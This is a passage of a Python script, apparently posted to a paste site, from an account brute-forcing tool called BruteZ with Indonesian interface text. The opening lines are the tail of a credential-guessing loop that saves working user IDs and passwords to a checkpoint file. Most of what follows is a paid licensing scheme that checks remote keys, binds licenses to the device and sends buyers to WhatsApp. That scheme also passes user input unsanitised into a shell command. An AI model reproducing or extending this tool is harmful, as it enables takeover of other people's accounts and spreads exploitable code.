  398.                     self.SaveResult(f"checkpoint/checkpoint-{self.date}.txt", uid, pw, None)
  399.                     break
  400.                 else:continue
  401.             except requests.exceptions.ConnectionError:time.sleep(31)
  402.             except Exception as e:exit(e)
  403.         self.brute['loop'] += 1
  404.  
  405.  
  406.     def CheckLicense(self):
  407.         from datetime import date, datetime
  408.         self.Banner()
  409.         if os.path.isfile('.keysfree.txt') is True:
  410.             keyfree = open('.keys.txt','r').read()
  411.             ZexF = requests.get(self.config['url'].format("tNi5vhp4")).text
  412.             if ZexF == keyfree:print (f"  {self.color['green']}√ {self.color['white']}License Free anda masih aktif, menuju ke menu");time.sleep(4);self.config['day'].append("free");self.BruteZ()
  413.             else:self.DeletFile('.keysfree.txt');exit(f"  {self.color['red']}! {self.color['white']}license free anda sudah kadelwarsa :)")
  414.         else:pass
  415.         if os.path.isfile('.keys.txt') is True:
  416.             try:
  417.                 key = open('.keys.txt','r').read()
  418.                 Zex = requests.get(self.config['url'].format("zJS4G8Gz")).text
  419.                 info = re.findall(key+'.*', Zex)[0]
  420.                 expired = info.split('|')[2]
  421.                 hari, bulan, tahun = expired.split('-')
  422.                 sisa = date(int(tahun),int(bulan),int(hari))
  423.                 wktu = datetime.strptime(str(sisa),"%Y-%m-%d")
  424.                 stop = datetime.strptime('%s%s%s'%(datetime.now().day,datetime.now().month,datetime.now().year),'%d%m%Y')
  425.                 nice = wktu - stop
  426.                 if nice.days <1:
  427.                     self.DeletFile('.keys.txt')
  428.                     exit(f"  {self.color['red']}! {self.color['white']}License Sudah kadelwarsa ")
  429.                 else:
  430.                     key1, key2  = self.CreateLicense('decode',f'{key}'), str(os.getlogin().split('_')[0])+str(os.getlogin().split('_')[1])+str(os.getuid())
  431.                     if key1 == key2:
  432.                         print (f"  {self.color['green']}⸙ {self.color['white']}Haii, {self.color['green']}{info.split('|')[1]} {self.color['white']}Selamat datang di {self.color['blue']}BruteZ")
  433.                         self.config['day'].append(nice.days)
  434.                         time.sleep(3)
  435.                         self.BruteZ()
  436.                     else:exit(f"  {self.color['red']}! {self.color['white']}License only requires 1 device")
  437.             except IndexError:self.LicenseList()
  438.         else:self.LicenseList()
  439.  
  440.     def CreateLicense(self, chs, code):
  441.         if chs.lower() == 'create':
  442.             device = str(os.getlogin().split('_')[0])+'-'+str(os.getlogin().split('_')[1])+'-'+str(os.getuid())
  443.             encode1 = device.encode("ascii")
  444.             encode2 = base64.b16encode(encode1)
  445.             result = encode2.decode("ascii")
  446.         elif chs.lower() == 'decode':
  447.             decode1 = code.encode("ascii")
  448.             decode2 = base64.b16decode(decode1)
  449.             result = decode2.decode("ascii").replace("-", "")
  450.         return result
  451.  
  452.     def LicenseList(self):
  453.         self.Banner()
  454.         try:
  455.             IdRd = self.CreateLicense('create','')
  456.             Zex = requests.get(self.config['url'].format("zJS4G8Gz")).text
  457.             response = re.findall('%s.*'.format(IdRd), str(Zex))
  458.             if len(response) > 0:apikey = self.CreateLicense('create','')
  459.             else:apikey = IdRd
  460.         except Exception as e:exit(f"  {self.color['red']}! {self.color['white']}there is an error in the system : {e}")
  461.         print (f"  {self.color['green']}⸙ {self.color['white']}Your license: {self.color['green']}{apikey} {self.color['white']}- {self.color['red']}Not yet confirmed {self.color['black']}")
  462.         print (f"\n    {self.color['green']}01{self.color['white']}. {self.color['green']}Rp.30.000{self.color['white']} Untuk 1 minggu\n    {self.color['green']}02{self.color['white']}. {self.color['green']}Rp.110.000 {self.color['white']}Untuk 1 bulan\n    {self.color['green']}03{self.color['white']}. {self.color['green']}Rp.250.000 {self.color['white']}Permanen + Open Source")
  463.         chs = input(f"\n  {self.color['purple']}@{self.color['white']}Choose_>{self.color['green']} ")
  464.         open('.keys.txt','w').write(f'{apikey}')
  465.         if chs == "1" or chs == "01":
  466.             print (f"\n  {self.color['green']}⸙ {self.color['white']}Name: Masukkan nama anda")
  467.             username = input(f"   {self.color['purple']}@{self.color['white']}InputName>{self.color['green']} ")
  468.             os.system(f'xdg-open https://wa.me/6283139844517?text=Halo,%20perkenalkan%20nama%20saya%20{username}%20saya%20inggin%20mengkonfirmasi%20license%20saya%20untuk%201%20Minggu%0A%0ALicense:%20*%60{apikey}%60*')
  469.             exit()
  470.         elif chs == "2" or chs == "02":
  471.             print (f"\n  {self.color['green']}⸙ {self.color['white']}Name: Masukkan nama anda")
  472.             username = input(f"   {self.color['purple']}@{self.color['white']}InputName>{self.color['green']} ")
  473.             os.system(f'xdg-open https://wa.me/6283139844517?text=Halo,%20perkenalkan%20nama%20saya%20{username}%20saya%20inggin%20mengkonfirmasi%20license%20saya%20untuk%201%20Bulan%0A%0ALicense:%20*%60{apikey}%60*')
  474.             exit()
  475.         elif chs == "3" or chs == "03":
  476.             print (f"\n  {self.color['green']}⸙ {self.color['white']}Name: Masukkan nama anda")
  477.             username = input(f"   {self.color['purple']}@{self.color['white']}InputName>{self.color['green']} ")
  478.             os.system(f'xdg-open https://wa.me/6283139844517?text=Halo,%20perkenalkan%20nama%20saya%20{username}%20saya%20inggin%20mengkonfirmasi%20license%20saya%20untuk%20Permanen%0A%0ALicense:%20*%60{apikey}%60*')
  479.             exit()
  480.         elif chs.lower() == "free":
  481.             print (f"\n  {self.color['green']}⸙ {self.color['white']}silahkan masukan license Free anda")
  482.             keyfree = input(f"   {self.color['purple']}@{self.color['white']}InputLicense>{self.color['green']} ")
  483.             ZexF = requests.get(self.config['url'].format("tNi5vhp4")).text
  484.             if ZexF == keyfree:print (f"  {self.color['green']}√ {self.color['white']}License Free anda masih aktif, menuju ke menu");time.sleep(2);open('.keysfree.txt','w').write(f'{keyfree}');self.config['day'].append("free");self.BruteZ()
  485.             else:self.DeletFile('.keysfree.txt');exit(f"  {self.color['red']}! {self.color['white']}license free anda sudah kadelwarsa :)")
  486.         else:exit(f"  {self.color['red']}! {self.color['white']}Select the menu correctly")
  487. Main_Menu()
  488.  
Add Comment
Please, Sign In to add comment